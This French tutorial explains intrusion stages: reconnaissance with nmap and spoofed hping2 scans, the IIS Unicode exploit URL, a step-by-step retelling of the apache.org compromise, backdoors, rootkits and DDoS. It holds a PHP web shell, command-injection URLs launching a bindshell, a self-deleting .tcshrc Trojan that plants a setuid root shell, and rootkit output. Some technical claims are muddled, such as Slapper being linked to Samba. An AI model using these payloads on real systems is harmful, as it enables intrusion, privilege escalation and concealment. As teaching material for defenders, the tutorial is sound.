Post Populaire





Intrusion dans les Systèmes et protection
Ce tuto n'explique pas comment pirater mais vous montre les différentes méthodes qu'un pirate emploi. Cela vous donne une idée de comment vous pouvez protéger votre système.


Préliminaire à une intrusion
1.Introduction
La première étape d’une intrusion est la prise d’information. Ceci se divise en deux parties : la prise d’information passive et la prise d’information active

2. Prise d’information
2.1 Whois
On peut utiliser la commande Whois pour par exemple avoir des informations sur la personne en charge du domaine. On peut aussi utiliser la commande host –l pour voir les noms de domaines et IP des machines qui font parties du domaine. Finger permet de montrer les utilisateurs connectés à la machine. Comme solution on propose de ne pas fournir trop d’informations privées sur le net.


CODE
whois yahoo.com


2.2 Versions des serveurs en place
Ce sont des prises d’informations passives qui sont librement distribuées sur le net, mais elles peuvent servir à des usagers mal intentionnés. Il suffit en général d’employer Telnet sur le port où l’on veut avoir la version du service. 
Solution temporaire: L’administrateur peut falsifier voir effacer cette information.

3.Scannage
Une technique plus agressive est le scannage. Elle consiste à ouvrir un port via un utilitaire qui commence une connexion et qui la termine prématurément

3.1 Nmap
3.1.1 Introduction
NMap est l’outil de référence pour le scannage sous Linux. Il existe une version pour Windows également. D’autres scanners de ports sont disponibles aussi.

3.1.2 Outil complet
NMap offre toute une panoplie d’options qui permet d’avoir différentes techniques de Scan. La plupart des options proposées permet de faire un Scan discret en envoyant par exemple un paquet XMAS qui permet de passer à travers les firewalls sans état (IPTABLE) si on n’a pas mit les bonnes options. Parce que le Firewall ne loguera et bloquera que les paquets contenant un SYN qui est en effet le premier paquet d’une connexion normale.

3.1.3 Détection du système
L’option –O fait par un OS FingerPrinting. Ce dernier est une technique qui consiste à analyser les paquets qu’il reçoit grâce au type de numéro de séquence, etc… 

La commande Nmap nous a suffit pour détecter le OS

CODE
nmap –p80 –O 192.168.0.3

3.1.4 Référence
www.insecure.org/nmap 

3.2 HPing
3.2.1 Introduction
C’est un programme sous Linux orienté assembleur/analyseur de paquet TCP/IP. L’interface est inspirée de la commande ping (Unix) mais il ne fait pas qu’envoyer des requêtes echo ICMP. Il supporte aussi le TCP, UDP, ICMP et les protocoles RAW-IP. Il a un mode de Traceroute.
Différentes applications: Test du Firewall, scanning avancé du port, test du réseau, utilisant différents protocoles, fragmentation,…

3.2.2 Théorie
Voici une manipulation qui permet de faire un scan spoofé sur une machine se trouvant sur le même segment. 
On lance deux fois hping : La première fois on lui demande d’envoyer des paquets avec une adresse spoofée vers le port désiré. On voit le paramètre ID s’afficher avec la valeur +256 pour chaque paquet envoyé. Ensuite, on lance un deuxième hping qui lui se contente de pinger simplement. Finalement on revient au Shell qui permet de monitoriser les paquets spoofés. Et on voit le ID qui double sa valeur quand le port est ouvert. Sinon le ID reste le même. Et si on regarde dans les logs du Firewall on voit bien le scan mais provenant d’une machine fantôme.

3.2.3 Démonstration
Sur la machine E : nous avons lancé le sniffeur

CODE
tcpdump port 80    

Le programme sniffe le réseau sur le port 80.

Sur la machine B(50) : nous avons lancé un scanner de port : nmap (sans spoofing)

CODE
nmap 192.168.0.3 –p 80  

Scanning du port 80 du PC A(3) à partir du B (50)









Voilà ! Nous sommes détecté par le sniffeur :

Essayons la deuxième méthode qui consiste à spoofer son adresse IP. Nous avons relancé TCPDUMP sur la machine E. Comme programme, nous avons donc utilisé hping2 qui est un excellent programme de scanner de port/protocole/IP etc avec la possibilité de spoofer l’adresse source et même le port source. 

Sur la machine C(100) : nous avons lancé le programme avec la commande suivante : 

CODE
hping2 –a 192.168.0.5 –S –p 80 192.168.0.3  

192.168.0.5 est une adresse inexistante










Sur la machine E : nous sommes détectés mais c’est la machine phantôme.Donc la machine E ne sait pas trouver notre véritable IP

L’intérêt de HPING2 est de détecter les ports ouverts. En lançant deux HPING2 (sur la même machine ou sur deux machines différentes), on peut vérifier les ports qui sont ouverts en spoofant son adresse IP.

Machine C : affiche les ports ouverts en multipliant les ID par 2. Comme le schéma ci-dessous montre, le ID est à +256. Sur une autre machine, on lance un autre hping en spoofant son adresse et en effectuant une recherche sur le port 80. Lorsqu’on a entré la commande pour le port 80, le ID s’est multiplié par deux. Ce qui a donné +512 pour préciser que le port 80 est ouvert. Il suffit de faire un script ou bien synchroniser les deux hping2 pour afficher tous les ports ouverts de 0 à 65535.

CODE
hping2 192.168.0.5 –r –W










3.2.4 Référence
www.hping.org 

Chapitre 4
Intrusion
1.Introduction
Le but est de s’introduire dans une machine pour prendre en possession avec un maximum de privilèges. Pour cela il existe plusieurs techniques : Social engineering, exploit des vulnérabilités, exploit des problèmes de configurations…

2.Social Engineering
Le social engineering consiste en gros à se faire passer pour un autre pour usurper un password ou une information. Par exemple trouver un mot de passe sous le clavier, sur le moniteur, sur la tour etc.

3. Vulnérabilités
Une mauvaise programmation des logiciels entraîne obligatoirement des bogues. Ceux-ci seront la source des failles de sécurité les plus importantes. Ces vulnérabilités, quand elles sont découvertes, vont permettre d’exécuter des commandes non autorisées, d’obtenir des pages dynamiques, de rendre indisponible un service, de prendre la main sur la machine,…

3.1 Types de vulnérabilités
Buffer Overflow
Race Condition
Bogues

3.2 Buffer overflow
3.2.1 Théorie
Le dépassement de pile est une faille due à une mauvaise programmation. Effectivement, un Buffer Overflow apparaît quand une variable passée en paramètre est recopiée dans un buffer dont la taille est inférieure à celle de la variable. Celui-ci sera exploité en passant dans la variable un fragment de programme capable de faire démarrer un Shell tout en obligeant ce débordement de pile à se produire. Dans le cas où le pirate réussit cette attaque, il obtiendra alors le moyen d’exécuter à distance des commandes sur la machine cible avec les droits de l’application attaquée.

3.3 Race Condition
3.3.1 Théorie
Les « races Conditions » sont une course contre le système pour profiter d'un instant ou il est vulnérable. 

3.4 Exemples testés
3.4.1 IIS
Le tristement célèbre Worm Nimda utilise la faille de sécurité code Red (IIS) pour se propager sur le net d’une manière exponentielle.

Exemple : 

CODE
http://address.of.iis5.system/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\  


3.4.2 Apache
L’équivalent de Nimda pour apache est Slapper qui ouvre un Shell sur une machine dont Samba à été compilé pour supporter les connexions sécurisées par le module OpenSsl qui avait une faille récemment.

4 Problèmes de configurations
4.1 Installation par défaut
Les installations par défaut proposées par les développeurs sont à la source d’un trou de sécurité. Car le but est de faciliter l’installation du programme ce qui enlève la priorité à la sécurité. De plus, n’importe qui peut connaître ce genre de configuration.

4.2 Fainéantise
Bien souvent les personnes se loguent en tant qu’administrateur pour ne pas devoir se déloguer quand ils installent de nouveaux programmes et de ce faite mettent en péril leur système lors de la navigation sur Internet.

5 Exemple de Apache.org
5.1 Introduction
Voici une explication concernant un groupe de hackers qui a hacké Apache.org.

Il s’agit d’un exploit dû à une mauvaise configuration du site et non d’une nouvelle découverte de vulnérabilité. La configuration est faite par les personnes de chez apache.org. 

En une semaine, les hackers ont réussit à obtenir un accès Root sur la machine qui fait tourner www.apache.org, et changé à la page principale le logo de Apache par un autre. Aucun autre changement n'a été fait, sauf empêcher que d'autres personnes (probablement) malveillantes n’entrent et modifient par exemple la source d’apache pour rajouter une Backdoor (d’ailleurs on a trouvé récemment des Backdoors dans apache et aussi OpenSSH.). 

A cause d’un nombre élevé des machines exécutant le logiciel Apache, le site officiel du logiciel a été hacké. Dans le cas inverse, le site aurait été hacké par des hackers malveillants et ils auraient changé le code source pour y insérer une Backdoor. Une fois que la personne télécharge le logiciel et qu’il l’installe, la Backdoor serait aussi installée. 

Les Whites Hats voulaient éviter cela. Non seulement ils ont hacké le site mais ils ont aussi corriger l’erreur : donc configurer le système.

5.2 Ftproot=wwwroot
Ils cherchaient une nouvelle version sur le serveur d’Apache pour éventuellement comparer les différences entre la nouvelle et l’ancienne version du programme. Ils ont remarqué que sur ftp://ftp.apache.org il y avait un mapping de http://www.apache.org qui incluait des répertoires inscriptibles par le publique.

Alors ils ont écrit la page PHP suivante :
Wuh.php3


CODE
<?
       passthru($cmd);
?>

Cette instruction permet d’exécuter n’importe quelle commande. L’idée est de l’uploader dans le répertoire publiquement inscriptible. 

5.3 Exécution de commande
En passant des commandes dans l’URL utilisant de l’Unicode, on pourrait les exécuter.
La première idée était de vérifier l’ID de l’utilisateur via la commande suivante.

CODE
http://www.apache.org/thatdir/wuh.php3?cmd=id

La deuxième étape est d’ouvrir un Shell. Alors ils ont uploadé bindshell.c et ils ont lancées les commandes suivantes pour le compiler et exécuter.

CODE
http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c
http://www.apache.org/thatdir/wuh.php3?cmd=./httpd


5.4 Ouverture du shell
Lors de l’exécution du BindShell, une authentification était requise avec le password. Comme le CGI tourne en tant qu’utilisateur NOBODY, ils ont ouvert une session Telnet sur le port 65533, ils ont eu un accès en tant que Nobody.

5.5 Information interne
Ce qu’ils ont trouvé sur la machine apache.org :
-o=rx /root
-o=rx homedirs

Apache.org tourne sous Freebsd 3.4. Ils n’ont pas voulut utiliser un Buffer Overflow ou tout simplement un exploit à cause de simplicités. Car leur but était d’avoir Root seulement avec des problèmes de configurations.

5.6 MySQL
Après une longue recherche ils ont trouvé que MySQL tournait sous l’utilisateur Root et était accessible localement. Parce que apache.org utilisait le programme Bugzilla qui requiert un compte MySQL et a son login/password en texte non crypté dans la source. De là, ils ont pu avoir un compte sur la base de donnée MySQL.
BugZilla est un programme qui sert à avertir de tous les nouveaux bugs découverts.

Après toutes ces manipulations, ils ont téléchargé Nportredird et l’ont configuré pour accepter les connexions sur le port 23306, qui n’était pas protégé par le Firewall, venant de leur IP et redirigé vers le Localhost port 3306. Avec cette solution, ils ont pu utiliser leur propre client MySQL.

5.7 Obtention de droits sur MySQL pour créer des fichiers
Après avoir l’accès au port 3306 venant du Localhost, ils ont utilisé le login ‘bugs’ (qui a pleins de droits si on répond toujours Yes dans la configuration de Bugzilla). Leurs privilèges ont ainsi été sensiblement élevés. Ceci est fortement du au fait que le README de BugZilla montre une façon rapide d’installer en répondant toujours Yes. Mais le fichier contient également d’avertissement de sécurité, incluant un message qui averti de ne pas faire tourner MySQL en tant que Root.

Maintenant ils avaient besoin d’écrire des fichiers en tant que Root. Ce qui tombe bien étant donné que MySQL tourne en tant que Root.

En utilisant ‘SELECT … INTO FICHIER_DE_DESTINATION ;’ ils ont pu créer n’importe où des fichiers en tant que Root. Ces fichiers étaient en mode 666, et ils ne pouvaient pas réécrire sur des fichiers existants. 

C’est alors qu’ils ont cherché ce qu’il pourrait faire avec cette habilité. Ils ne pouvaient pas rajouter un accès sur .rhosts du au fait qu’aucun serveur rshd non trafiqué n’accepterait d’utiliser un ficher en écriture publique. Et de plus, il n’y avait pas de rshd qui tournait sur la machine.

5.8 /root/.tcshrc
Alors ils ont décidé d’utiliser une ruse de Cheval de Troie et ils ont utilisé la base de donnée ‘test’. Ensuite une table à une colonne composée d’un champ texte de 80 caractères a été créée dans cette base de données. 

Via les commandes INSERT, ils ont écrit les instructions suivantes dans la table :


CODE
#!/bin/sh
#copie du shell root
cp /bin/sh /tmp/.rootsh
#exécutable par tout le monde
chmod 4755 /tmp/.rootsh
#effacement du fichier lui-même pour effacer les traces
rm -f /root/.tcshrc

Et enfin, il ont mit ces instructions dans un fichier avec la commande 

CODE
SELECT * INTO /root/.tcshrc


5.9 Enfin Root
/root/.tcshrc est un script qui s’exécute à chaque démarrage d’un login du répertoire de l’utilisateur en question, ici Root.

Maintenant les hackers n’avaient plus qu’à attendre que quelqu’un face un SU pour se logger en tant qu’administrateur. Cela n’a pas duré longtemps parce que 9 personnes étaient connectées en tant que Root à cet instant.


5.10 Modification du site
Une fois qu’ils sont devenus Root, ils ont pensé à changer le logo du site, ce qui était facile pour eux. Voici un miroir montrant ce changement :
http://www.attrition...www.apache.org/

5.11 Avertissement aux administrateurs
Avant de modifier la page ils ont corrigé le bogue et ont avertit les administrateurs.
Pour corriger les bogues, ils ont créé un fichier Ftproot dans Wwwroot, qui était aussi Ftproot. 
Ils ont déplacé ‘dist’ vers ‘ftproot :dist’ et changé le ftproot vers son nouveau répertoire ‘ftproot’. Rendant ainsi les répertoire publiquement inscriptible.

5.12 Parution dans la presse
http://www.geek.com/...00508001374.htm

Chapitre 5.
PRISE DE CONTRÔLE PERMANENT APRES INTRUSION
1.Introduction
Lorsque le hacker veut revenir sur un site où il l’a déjà pénétré par une série de vulnérabilités ou de problèmes de configuration (par exemple, apache.org), il doit recommencer toutes les manipulations, ce qui est une chose pas trop discrète si l’administrateur est présent et lit ses logs. De plus, si l’administrateur met à jours ses programmes, la vulnérabilité disparaît et l’attaquant ne pourra plus revenir. 
C’est pourquoi, avant de partir et d’avoir effacé les traces, ils installent en générale une Backdoor.

2.Backdoors
2.1 SubSeven, BackOrifice et compagnie
Ce terme est employé pour décrire un point d’accès non documenté à un programme. En général, il s’agit d’options servant aux développeurs pour atteindre les données manipulées par l’application dans laquelle la Backdoor a été implantée.

Subseven, backOriffice, etc … sont des Backdoors disponible, que certains administrateurs utilisent même pour administrer leurs réseaux, étant donné qu’elles sont légères point de vu charge du processeur.

3.Bot IRC
3.1 EggDrop
Eggdrop est un programme automatisé qui se connecte sur un serveur IRC et un channel désiré par le hacker. Il permet à travers IRC après l’authentification, d’envoyer des commandes sur la machine. Pour voir si on est infecté on peut faire sous Windows la commande « netstat –a » et voir si le port 6667 par exemple est ouvert alors qu’on n’est pas sur IRC. Si on a infecté plusieurs machines, on peut faire communiquer automatiquement les bots entre eux et lancer des Dénis de Services Distribués.

4. Backdoors furtives
Les BackDoors derrière un firewall ne servent à rien si le firewall filtre ce port. Le hacker utilise par exemple des backdoors qui se connectent sur la machine de l’attaquant en utilisant le port http sortant pour camoufler leurs données et n’émettent uniquement quand l’utilisateur navigue sur le Web.
Face aux backdoors furtives les firewalls ne peuvent rien.


5. RootKits
5.1 Théorie
Un Rootkit permet au hacker de devenir invisible sur la machine. Un module est chargé au démarrage qui permet de modifier le comportement de certains programmes. Il modifie par exemple la commande « ls » pour que l’utilisateur légitime ne repère pas les fichiers cachés par le hacker. Il modifie aussi la commande netstat pour masquer les connexions du hacker. Et bien sur la commande lsmod pour masquer le module lui-même.
Il pourra aussi demander à avoir un Shell en tant que Root en faisant une commande comme « ls –ll » qui lui demandera un password par la suite.
Les rootkits sont très dur à détecter une fois qu‘ils sont installés. Mais des programmes comme checkRootkit existent. Il consiste à aller voir dans la Ram. Tous les Rootkits ne sont pas forcément détectables.

5.2 Démonstration
5.2.1 Adore
Via un module, il vient ajouter des fonctionnalités au noyau. Ainsi, il peut cacher des fichiers, cacher des processus ou permettre à tout utilisateur de passer des commandes en tant que Root.
Une fois installé, il est assez dur de l’enlever. Tous ses fichiers se cachent (même en faisant un LS, ils sont invisibles), le module efface sa trace, donc impossible à le détecter. 
Pour prendre le contrôle de la machine en tant que root (après toutes les configurations et installations): il faut de taper 


CODE
./ava r “/bin/sh’’

Checking for adore  0.12 or higher ...
Adore 0.14 installed. Good luck.
sh-2.03# id
  uid=0(root) gid=0(root)       groups=100(users),1(bin),3(sys),5(tty),102(apm)
sh-2.03#


Chapitre 6
ACTIVITE DU HACKER APRES INTRUSION
1. Introduction
Une fois que le hacker possède la machine, le hacker peut commencer à envoyer des attaques grâce aux ressources réseaux du pc, espionner ou attaquer une autre machine en restant anonyme à travers cette machine.

2. DDoS
Les dénis de service distribués saturent le réseau victime. Le principe est d’utiliser plusieurs sources pour l’attaque et des maîtres qui les contrôlent.

2.1 Exemple de Smurf Distrbué
2.1.1 Rappel de la technique Smurf
Le smurf consiste à envoyer des pings sur des machines Broadcast. Et on spoof l’adresse source par l’adresse de la victime bien entendu.
Il est facile de scanner le Web pour trouver des IP qui font du broadcast qui doit se terminer par 255. On peut utiliser l’option –sP de NMap et les classer selon leurs nombres de réponses

2.1.3 Smurf distribué : puissance
Nous avons déconnecté avec succès une liaison ADSL en maintenant longtemps l’attaque grâce à un smurf. Cela marche bien sûr plus facilement pour un simple modem, mais d’autres ruses existent comme celle du bug ath0 (commande pour le modem) qui exploit le fait que certaines machines ne font pas de pauses entre le +++ et ath0. Alors ils sont déconnectés si ces deux commandes sont envoyées dans le même paquet. 
 

2.1.4 Yahoo hors service
La figure ci-dessous publiée par Yahoo montre une DDoS qui les a mit hors service pendant plus de 4h. 











2.1.5 TDL .org presque mit à genoux
Plus récemment, une DDoS à été lancée sur la racine de .org qui aurait pu mettre hors service tous les « .org » si l’attaquant avait insisté.
Voici l’article : http://slashdot.org/...e=thread&tid=95
http://cyberpolice.f...taquecoree.html 
D’autres TDL ont été attaqués. En fait, les attaques sur les TDL sont à la mode récemment.

2.1.6 Solution
Une solution est entrain de se mettre au point au niveau des routeurs. La technique consiste à bloquer les sources DDoS destinées à une même machine passant par le même routeur.

3.Point de départ d’une autre intrusion
Pour ne pas se faire repérer lors d’une intrusion les hackers se connectent sur une machine qui se connecte sur une autre et ainsi de suite. Donc si l’administrateur détecte l’attaquant, il aura du mal à repérer la source parce qu’il tombera sur une machine victime. Pour remonter à la source l’administrateur devra demander les logs de la victime et ainsi de suite. Même si les victimes ont gardés leurs logs, il est peut-être encore dur de trouver la bonne IP. En effet l’attaquant peut se connecter simultanément avec plusieurs IP. En d’autres mots la difficulté de le retrouver est proportionnelle à l’imagination du hacker.
Une technique de repérage serait de voir quel IP a été scanné peu de temps avant l’attaque

- sebdelkil 2009-2015 - Aucun droit réservé -